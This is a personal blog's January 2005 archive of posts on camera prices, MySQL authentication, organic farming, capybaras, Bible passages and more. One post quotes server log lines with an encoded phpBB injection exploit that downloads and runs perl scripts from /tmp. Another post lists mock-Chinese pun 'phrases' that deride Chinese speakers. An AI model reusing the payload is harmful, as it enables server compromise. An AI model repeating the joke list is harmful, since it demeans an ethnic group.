January 31, 2005

GmailSwap alternative

Joshua H, at 13, has setup a phpBB-based GmailSwap Alternative. "When I got some more gmail invites, I decided that I would get rid of them where I got my Gmail account, Gmail Swap," he said. "I was so shocked that it shut down, I went out and set up my own site." Starting on Bravenet.com using message boards from Pliner.net, he was swifted invited to hop on to John Fogleman's hosting in exchange for Google Adsense placement (smart John...). "My vision is that everyone who wants a Gmail account and doesn't have one will get one. This is also why I made the site..."

Josh has been making websites for 5 years. Think about that!

Posted by torque at 9:08 PM | Comments (1) | TrackBack

Organic farms for sale

Where would you go to look for a small organic farm? A google search pops up a handful of sites, none of which are very easily navigated. What would be optimal? It would be nice to be able to search by crop, by location, etc. How does it work anyway? When a farm is certified organic, do they have a piece of paper in hand? It would be nice to see that piece of paper. I wonder if the government has a list of certified organic farms. Michigan has a list of certified organic farms, as does California.

Posted by torque at 4:05 PM | Comments (10) | TrackBack

Google now a registered ICANN registrar!

Looking to register that cool new domain name? As noted by Bret Fausett, you'll soon be able to do it through Google. Scroll to #895. A bit frightening isn't it? Interestingly, ICANN has left 891-894 and 896-900 unassigned. Google gets 10 slots?

Posted by torque at 3:04 PM | Comments (3) | TrackBack

January 29, 2005

To be God's People

One of my favorite praise songs is Charles Brown's To be God's People. An ex-Navy music instructor, Charles Brown has been writing praise since the early 70s. I had a chance to call Mr. Brown this afternoon and thank him. He wrote the piece while he was attending a church in Waco. The pastor was preaching on how missions is important, but... "but we must never forget that the church here, that we have been called to be God's people in this place". Hence the inspiration for the piece.

To be Godís people in this place,
Live His goodness, share His grace.
Proclaim Godís mercy through His son,
Be His love to every one.

Posted by torque at 11:25 AM | Comments (9) | TrackBack

January 27, 2005

Satellite photos before and after the tsunami

The photos are dramatic - almost unreal. Tony Demark at DigitalGlobe put the site together. DigitalGlobe sells satellite imagery. They have a cool "globeexplorer" which lets you look for images by address.

Posted by torque at 10:36 AM | Comments (0) | TrackBack

January 26, 2005

What makes Kerns All Nectar so good?

I'll tell you. The fruit helps, but the main ingredient is corn syrup. Shocking isn't it? The not from concentrate label had me believing that the flavor was all fruit - even though it clearly says that it is only 25% fruit juice. I guess always just assumed that the other 75% was water. The website calls Kerns "a healthy tropical fruit beverage" "because your family deserves nothing but the best". Doesn't Oscar look healthy?

Posted by torque at 9:32 PM | Comments (0) | TrackBack

MySQL 4.1+ reports "Client does not support authentication protocol"

Here's a solution. The issue, as you might guess, is that MySQL 4.1+ employs a new authentication protocl. Old clients, including MyODBC 3.51 will report this error. There are a variety of fixes, here's what I used.

Reset the password to pre-4.1 style for each user that needs to use a pre-4.1 client program. This can be done using the SET PASSWORD statement and the OLD_PASSWORD() function:

-> 'some_user'@'some_host' = OLD_PASSWORD('newpwd');

I had to do it using the root account.

Posted by torque at 3:09 PM | Comments (1) | TrackBack

January 25, 2005

International Terrorism: American Hostages

U.S. Government Policy

The U.S. Government will make no concessions to individuals or groups holding official or private U.S. citizens hostage. The United States will use every appropriate resource to gain the safe return of American citizens who are held hostage. At the same time, it is U.S. Government policy to deny hostage takers the benefits of ransom, prisoner releases, policy changes, or other acts of concession.

Basic Premises

It is internationally accepted that governments are responsible for the safety and welfare of persons within the borders of their nations. Aware of both the hostage threat and public security shortcomings in many parts of the world, the United States has developed enhanced physical and personal security programs for U.S. personnel and established cooperative arrangements with the U.S. private sector. It has also established bilateral assistance programs and close intelligence and law enforcement relationships with many nations to prevent hostage-taking incidents or resolve them in a manner that will deny the perpetrators benefits from their actions. The United States also seeks effective judicial prosecution and punishment for hostage takers victimizing the U.S. Government or its citizens and will use all legal methods to these ends, including extradition. U.S. policy and goals are clear, and the U.S. Government actively pursues them alone and in cooperation with other governments.

U.S. Government Responsibilities When Private U.S. Citizens Are Taken Hostage

Based upon past experience, the U.S. Government concluded that making concessions that benefit hostage takers in exchange for the release of hostages increased the danger that others will be taken hostage. U.S. Government policy is, therefore, to deny hostage takers the benefits of ransom, prisoner releases, policy changes, or other acts of concession.

At the same time, the U.S. Government will make every effort, including contact with representatives of the captors, to obtain the release of hostages without making concessions to the hostage takers.

Consequently, the United States strongly urges American companies and private citizens not to accede to hostage-taker demands. It believes that good security practices, relatively modest security expenditures, and continual close cooperation with embassy and local authorities can lower the risk to Americans living in high-threat environments.

The U.S. Government is concerned for the welfare of its citizens but cannot support requests that host governments violate their own laws or abdicate their normal enforcement responsibilities.

If the employing organization or company works closely with local authorities and follows U.S. policy, U.S. Foreign Service posts can be involved actively in efforts to bring the incident to a safe conclusion. This includes providing reasonable administrative services and, if desired by local authorities and the American entity, full participation in strategy sessions. Requests for U.S. Government technical assistance or expertise will be considered on a case-by-case basis. The full extent of U.S. Government participation must await an analysis of each specific set of circumstances.

The host government and the U.S. private organizations or citizen must understand that if they wish to follow a hostage resolution path different from that of U.S. Government policy, they do so without U.S. Government approval. In the event a hostage-taking incident is resolved through concessions, U.S. policy remains steadfastly to pursue investigation leading to the apprehension and prosecution of hostage takers who victimize U.S. citizens.

Legal Caution

Under current U.S. law, 18 USC 1203 (Act for the Prevention and Punishment of the Crime of Hostage-Taking, enacted October 1984 in implementation of the UN convention on hostage-taking), seizure of a U.S. citizen as a hostage anywhere in the world is a crime, as is any hostage-taking action in which the U.S. Government is a target or the hostage taker is a U.S. national. Such acts are, therefore, subject to investigation by the Federal Bureau of Investigation and to prosecution by U.S. authorities. Actions by private persons or entities that have the effect of aiding or abetting the hostage taking, concealing knowledge of it from the authorities, or obstructing its investigation may themselves be in violation of U.S. law.

R. Boucher, "International Terrorism: American Hostages", Press Statement, Washington, DC, February 20, 2002.

Posted by torque at 5:31 PM | Comments (0) | TrackBack

January 23, 2005

Hilarious printer error...

Sonja called me downstairs to report that the printer was printing a bazillion copies... because she had asked for a bazillion copies. We turned off the printer, and I went to delete the print jobs to find the following... note the Status and Submitted fields.


Actually, it isn't that funny now that I've gotten some rest...

Posted by torque at 1:31 AM | Comments (2) | TrackBack

What is a sign?

The American Heritage Dictionary defines a sign as "something that suggests the presence or existence of a fact, condition, or quality" and "a portentous incident or event; a presage". A portent is "an indication of something important or calamitous about to occur; an omen." In the NASB, the word sign appears 86 times.

Cain's signGenesis 4:14-16God "appoints" a sign for Cain, so that anyone who finds him will not kill him. It isn't clear what this sign is, but it tells others that Cain is under God's protection.
The rainbowGenesis 9The rainbow is a sign of God's covenant or promise that He will never again destroy the earth and its inhabitants with a flood.
CircumcisionGenesis 17:10-12Circumcision is a sign of the God's promise to Abraham, that Abraham will be the father of many nations and that he will inherit Canaan forever.
Moses will worship God at the mountainExodus 3:11-12God tells Moses that after he brings the Israelites out of Egypt he will worship God at this mountain. This is so that Moses knows that it is God that has done all this. In this case, the sign is an unlikely and predicted event that occurs.

Posted by torque at 12:49 AM | Comments (1) | TrackBack

Canon Digital Rebel - Costco versus Amazon

I confused myself. Here's the final analysis:

Costco MVCostco onlineAmazon
Std Digital Rebel with EF-S 18-55mm f/3.5-5.6 lens package949.00949.00899.94
Extra battery pack BP511includedincluded69.99**
Carrying caseincluded59.9459.94
Shipping and handlingincludedincludedincluded
Tax (CA)80.67n/an/a

*You can probably use the online rebate form to claim the $100 for the in store purchase, but I'm not absolutely sure.
**Many generics are available for substantially less - more like $20-30.

Posted by torque at 12:01 AM | Comments (1) | TrackBack

January 22, 2005

Canon Digital Rebel at Costco - an update

I checked on the Costco website (for the Canon Digital Rebel) and I think what they are offering online is what they are offering in the store. Note that the website rebate matches the Amazon rebate - $100, but that the base price is $949.00. So what's different?

EF-S 18-55mm f/3.5-5.6 lensyesyes
Battery charger CB-5Lyesyes
Battery pack BP-511yesyes
Additional battery pack BP-511yesno
Interface cable IFC-300PCUyesyes
Video cable VC-100yesyes
Wide strap EW-10DB IIyesyes
Date/Time CR2016 lithium battery yesprobably
Eye Cup Efyesno
EOS Digital Solution CD-ROMyesyes
Adobe Photoshop Elements CD-ROMyesyes

You know, I think the Costco store version also has a carrying case, which might explain the $50 less rebate. You can probably print out and use the $100 online rebate form. Notice that none of these cameras have any sort of memory included. The extra BP511 battery lists on Amazon for $50. Sunpack makes clones of the BP511 for $21.99.

Posted by torque at 11:36 PM | Comments (0) | TrackBack

Canon digital rebel

Costco Mountain View carries the Canon Digital Rebel (Canon EOS 6.3MP Digital Rebel Camera with Lens 18-55MM Lens) for $899 after a $50 rebate. It includes some accessories, 2 batteries, a carrying case and some other stuff. If you are getting one, you might consider getting it at Amazon. The camera is $899.94 before a $100 rebate. You can shave another $30 if you sign up for the Amazon card. That's $769.94. Be very careful about what is included in the package - I've noticed that the camera manufacturers are starting to get quite tricky what they include where. Some people price the Digital Rebel without the lens, for example. Here's the Amazon description:

This package includes the EOS Digital Rebel digital camera with 18-35mm lens, a rechargeable lithium-ion battery pack (BP-511) and battery charger (CB-5L), USB and AV cables, and a wide neck strap. It also comes with Adobe Photoshop Elements and Digital Camera Solutions CD-ROMs with imaging software and USB drivers for Windows and Mac.
I only see one battery, and no carrying case.

Posted by torque at 11:22 PM | Comments (0) | TrackBack

When does a pool ball become a deadly weapon?

ball13.jpg16 Nov 2002:

Assault with a deadly weapon arrest at the Office Bar -- Two females became involved in a fight inside the bar. A female relative of one of the combatants came forward to assist her, and struck the other combatant in the head with the #13 ball thrown from a pool table, causing minor injury. One of the combatants was placed under citizens arrest at the bar, while the relative who threw the pool ball was located and placed under arrest by police.

Posted by torque at 10:57 PM | Comments (0) | TrackBack

January 18, 2005

Protestant denominations in the US

Churches of Christ2,593,000
Congregational/United Church of Christ1,378,000
Jehovah's Witnesses1,331,000
Assemblies of God1,106,000

Posted by torque at 12:13 AM | Comments (0) | TrackBack

January 15, 2005

Organic farming: chinese vegetables

Sonja and I have been tossing around the idea of an organic chinese veggie farm for a few years. To be honest, except for the avocado plants, my agricultural experiments have been quite disappointment. That aside, here a few interesting links we found. The USDA has a brief article on the growing popularity of organic vegetables in Hong Kong. Dr. Subhuti Dharmananda at the Institute for Traditional Medicine offers a brief history on organic herb cultivation in China. Earthbound Farm, a familiar name to Costco shoppers, has a short online account on how it all started (2.5 acres and 20 years ago by two kids from Manhattan out of college...). Today, their products sit in 74% of all US supermarkets, and, according to Hoovers, they had sales of $350 million in 2003. Not bad. They are at about 20,000 acres now.

I found a large organic Chinese vegetable operation - Purepak, Inc. Based out of Oxnard, CA, Dean Walsh directs about 5000 acres of farms in California and exports to Japan, Canada, Taiwan, Hong Kong and Great Britain. Purepak has a chart of their products. Interestingly, Walsh started in 1986, only a couple years after Earthbound Farm. On the menu, Bok Choy, Baby Bok Choy, Baby Choy Sum, Short Choy Sum, Tiny Choy Sum, Gai Lan, Snow Pea Tips, Sugar Pea Tips, Tung Ho (<-- not my favorite), and Yu Choy. I'm interested in something exactly like the Earthbound Farm product, pre-packed, pre-washed, pre-cut, ready-to-go organic Chinese veggies.

If Purepak can import Chinese vegetables to Japan, the way to go is to import Chinese or other vegetables from China to the U.S. Of course, there will be some trade issues to protect local farmers.

Posted by torque at 10:52 PM | Comments (0) | TrackBack

January 14, 2005


Upon entry, you are handed small wooden cylinder. One end is painted green, and the other red. Green means "bring it on" and red "I need a break".

I encountered my first rodizio in Dallas while consulting several years ago. The term comes from roda, Portuguese for wheel. The rodizio is an endless rotation of meats. Waiters come around every few minutes to carve the next selection into your plate - a carnivore's jukebox. Aside from various cuts of beef, chicken, lamb, pork and fish, you are typically offered, in a full buffet, a huge array of surprisingly scrumptious salads, pastas and vegetables. Of course, these are to distract you from the more expensive meats.

Churrasco is a method of preparing meat. An old cowboy tradition from the South American pampas, it is "a large portion of skewered meat, simply seasoned with salt only, and grilled over an open flame from a glowing charcoal." The churrascaria, a restaurant in which churrasco is carved at the table is only a few decades old. Prior to that, churrasco was confined to family reunions or the ranch.

You can find Churrasco-rodizio at Cafe do Brasil where it is served Thu-Sun, 5:30-9 p.m. Renoir Hotel, 1106 Market, S.F., 415/626-6432, $18.95. For more Brazilian barbeque, visit San Francisco Bay Guardian superlist #764. Want to start your own churrascaria? Check out erganutri.

Posted by torque at 12:32 AM | Comments (0) | TrackBack

January 13, 2005

A capybara connoisseur

My search is over. Professor Acacio de Barros, a colleague visiting from Brazil, has eaten capybara, or, more properly in Portuguese, capivara. He reports that, while hard to find, capivara is quite tender and tasty. "It isn't gamey at all like you would expect it to be, but more like a mild pork," he said, "I prefer it over pork." It can be found in select barbeque places, rodizios. He was not sure about the price, since rodizios, being all-the-meat-you-can-eat kind of places, don't really reveal that information. Apparently, most people in Brazil do not know that the capivara is a rodent. Eating habits would probably change given the modern day culture of picky eating. Other fun animals in Brazil, though not for eating, include the cotia, a micro-capivara found in downtown Rio, and the anta, also known as tapir, found in the rainforests.

Posted by torque at 11:58 AM | Comments (0) | TrackBack

January 10, 2005

Another hacking attempt?

I saw this strange entry in the logs today: xxxxxx.com - [10/Jan/2005:12:28:57 -0800] "GET /archives/cat_web_design.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp;cd%20.temp;wget%20http://;wget%20http://;perl%20a.txt;rm%20a.txt;perl%20ssh.txt;rm%20ssh.txt%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; HTTP/1.1" 404 201 "-" "LWP::Simple/5.803"
LWP is a perl library Hmmm, here's some more evil looking GETs xxxxxx.com - [10/Jan/2005:12:28:24 -0800] "GET /viewtopic.php?t=547&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 200 11533 "-" "Mozilla/4.0"

Posted by torque at 12:30 PM | Comments (5) | TrackBack

Augment your Chinese vocabulary

  • Did you go to the beach?.............Wai Yu So Tan?
  • I bumped the coffee table...........Ai Bang Mai Ni
  • I think you need a face lift...........Chin Tu Fat
  • It's very dark in here..................Wai So Dim?
  • I Thought you were on a diet......Wai Yu Mun Ching?
  • This is a tow away zone................No Pah King
  • Our meeting was rescheduled.........Wai Yu Kum Nao?
  • That's not right!....................Sum Ting Wong
  • Are you harboring a fugitive?.......Hu Yu Hai Ding?
  • See me ASAP................................Kum Hia
  • Stupid Man!................................Dum Gai!
  • Small Horse...........................Tai Ni Po Ni
  • Staying out of sight....................Lei Ying Lo
  • He's cleaning his automobile.........He Wa Shing Ka
  • Your body odor is offensive...........Yu Stin Ki Pu
Spotted, with no citation, all over the web.

Posted by torque at 11:47 AM | Comments (3) | TrackBack

Freelance programming and design

This is a test of the Scriptlance javascript facility. The problem, of course, is that the code is javascript, which means that Google probably won't parse it.

Posted by torque at 9:54 AM | Comments (0) | TrackBack

January 8, 2005

Second time is the charm - Mark 8:22-25

Mark 8:22-25 gives an intriguing account of Jesus healing a blind man...

And they came to Bethsaida, and they brought a blind man to Jesus and implored Him to touch him. Taking the blind man by the hand, He brought him out of the village; and after spitting on his eyes and laying His hands on him, He asked him, "Do you see anything?" And he looked up and said, "I see men, for I see them like trees, walking around." Then again He laid His hands on his eyes; and he looked intently and was restored, and began to see everything clearly. And He sent him to his home, saying, "Do not even enter the village." (NASB)
What does this mean? What are we to extract from this event?

Similar healings occur prior to this. So, that Jesus restored the man's sight is not surprising. Neither is the locale, outside the village, nor the instruction not to enter the village. Previous miracles had resulted in Jesus being unable to teach as people were more interested in miracles than learning about God's kingdom. What is surprising is that it takes two attempts. Kenneth Barker's Zondervan NIV Study Bible notes that "this second laying of hands is unique in Jesus' healing ministry."

Many observations can be made here - but, it is 1:00 am and time for bed. Followup post in a few days. In the meantime, an assignment, think about the passage and try not to cheat by looking it up on Google like I did...

Posted by torque at 12:32 AM | Comments (2) | TrackBack

January 6, 2005

Bay area earthquake - I thought I felt something...

I'm supposed to be sleeping, but about 10 minutes ago I felt what I thought was a small earthquake. Indeed, it was. It took sometime, but I was finally able to find the USGS site for earthquake reports. They are fast.

Version #1: This report supersedes any earlier reports of this event.
This is a computer-generated message. This event has not yet been reviewed by a seismologist.

A microearthquake occurred at 2:46:05 AM (PST) on Thursday, January 6, 2005.
The magnitude 2.3 event occurred 2 km (1 miles) E of Woodside, CA.
The hypocentral depth is 6 km ( 4 miles).


Magnitude 2.3 - duration magnitude (Md)
Time Thursday, January 6, 2005 at 2:46:05 AM (PST)
Thursday, January 6, 2005 at 10:46:05 (UTC)
Distance from Woodside, CA - 2 km (1 miles) E (95 degrees)
Portola Valley, CA - 5 km (3 miles) NNW (339 degrees)
Emerald Lake Hills, CA - 6 km (3 miles) SSE (155 degrees)
Sunnyvale, CA - 20 km (12 miles) WNW (286 degrees)
San Jose City Hall, CA - 32 km (20 miles) WNW (286 degrees)

Coordinates 37 deg. 25.2 min. N (37.419N), 122 deg. 14.4 min. W (122.240W)
Depth 5.7 km (3.5 miles)
Location Quality Good
Location Quality Parameters Nst= 69, Nph= 69, Dmin=6 km, Rmss=0.1 sec, Erho=0.1 km, Erzz=0.3 km, Gp=68.4 degrees
Event ID# nc51155488

Posted by torque at 2:54 AM | Comments (4) | TrackBack

January 5, 2005

BBQ Opossum

1 opossum, skinned and cleaned
Prepared barbecue sauce

Clean opossum taking care to remove scent glandsunder limbs

Marinate in buttermilk or yogurt Cut opossom in half
Pot roast opossom with salt, pepper and 1 tbsp. sugar till tender.
Place on rack and roast at 300 degrees F. about 1 hours. Baste frequently with barbecue sauce. Mmmmm.

Source: huntingsociety.org

Posted by torque at 6:03 PM | Comments (2) | TrackBack

January 4, 2005

So you want to write a BHO?

External toolbars, e.g., Google toolbar, as well as many spyware installs are browser helper objects (BHOs). They extend the functionality of Internet Explorer (IE) and can be quite powerful (in positive and negative ways). You can get a list of keys to BHOs installed in your computer by running regedit and browsing to HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Browser Helper Objects. I found three keys

  1. {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3}
  2. {AA58ED58-01DD-4d91-8333-CF10577473F7}, and
  3. {FDD3B846-8D59-4ffb-8758-209B6AD74ACC}
You can easily look up BHO keys at SpywareData. I was relieved to find that my list maps to
  1. Adobe's Acrobat Plugin
  2. the Google toolbar, and
  3. Microsoft's Money Viewer

How hard is it to write one of these? My dad, not in so many words, asked me last week about getting a plugin-version of the pinyinator. J. P. Hamilton's Visual Basic Shell Programming is an excellent resource, though I am still in the process of going through it. If any of you know of other good online resources, do let me know. The ones I found through Google were not satisfactory. Amazon has more books on writing applications for the Windows shell but I have yet to review them.

Dino Esposito has a most excellent article on BHO's from a VC++ perspective entitled Browser Helper Objects: The Browser the Way You Want It. This is the way to go.

Posted by torque at 11:59 PM | Comments (2) | TrackBack

Water compressibility

Marcos asked me today about the compressibility of water. Indeed, liquid water is not incompressible, only nearly incompressible. The CRC provides a table of density as a function of temperature. You would expect something similar at varying pressures, e.g., at different levels in the ocean.

Posted by torque at 1:27 PM | Comments (4) | TrackBack

Organismically dead embryos

Donald Landry and Howard Zucker at Columbia University [1], in this month's Journal of Clinical Investigation, proposed a new argument for the use of human embryos - when they are "organismically dead". Borrowing from the idea of the determination of brain death, Landry and Zucker argue that the certain human embryos resulting from invitro fertilization (IVF) might be classified technically dead, thus being eligible to donate their organs, i.e., stem cells. About 60% of IVF embryos are "nonviable", meaning that they are unable to develop into babies when transplanted. One signal of nonviability is when cell division, for whatever reason, ceases at the 4- or 8- cell level. At this point the cells may still be alive thus usuable for stem stell research.

Precisely when the life of a human begins remains for some a complicated question, but a general consensus has been achieved on when life ends: life ends when the criteria for brain death are met. However, the criteria for determining the death of the developing human before the onset of neural development have not been formulated. We believe that when the condition of developing human life at the stage of a few-celled embryo is reconsidered, a significant fraction of embryos generated for in vitro fertilization (IVF), heretofore misclassified as nonviable, will be found to be organismically dead. If this is so, the ethical framework currently used for obtaining essential organs for transplantation from deceased adults and children could be extended to cover obtaining stem cells from dead human embryos.

1. D.W. Landry and H.A. Zucker, "Embryonic death and the creation of human embryonic stem cells", J. Clin. Invest., vol. 114, pp. 1184-1186, 2004.

Posted by torque at 1:27 AM | Comments (2) | TrackBack

January 3, 2005

Oh beauteous Capybara

Over the weekend, while visiting the Happy Hollow Park and Zoo in San Jose, we encountered a most unusual creature - well, actually, four of them.


It looks like a squirrel or a guinea pig - hardly shocking. What is shocking is that this critter is about four feet long, one and a half feet tall, and weighs in at over 100 lbs. Stretch your arms out (about 4') to get the idea. Yowzers! Known as the carpincho in Spanish and the capivara in Portuguese, the capybara (Hydrochoerus hydrochaeris) is the world's largest living rodent [1].

The capybara or "capy", as it is known by American afficionados, is found predominantly in Southern Brazil, Northern Argentina, Venezuela and Uruguay. They are either hunted or, more recently, farmed as a source of leather and meat. Indeed, in Venezuela, the capybara is considered a delicacy, costing up to $4.50 a pound as of 1999 [2]. The pork-like meat is "tender and tasty yet low in fat", 1.5% versus up to 20% for beef. For at least one Venezuelan, it is "the most scrumptious dish that exists."

In the 16th century, capybara-addicted Venezuelans appealed to the Vatican to classify it as fish so that it could be eaten during Lent. After all, capybara can hold their breath while swimming underwater for at leats 5 minutes. They also have a slightly fishy taste. To the delight of Venezuelan Catholics, the church granted the request effectively associating capybara to Lent like Thanksgiving turkey.

You may have some reservations about eating rodent. Rest assured, except for occasionally eating its own feces, capybaras eat grass.

1. Capybara, Wikipedia.
2. B. Jones, World's largest rodent considered a delicacy by Venezuelans, AP Press, August 1999.
3. G. Gollin, Important Facts About Capybaras.

Posted by torque at 11:48 PM | Comments (2) | TrackBack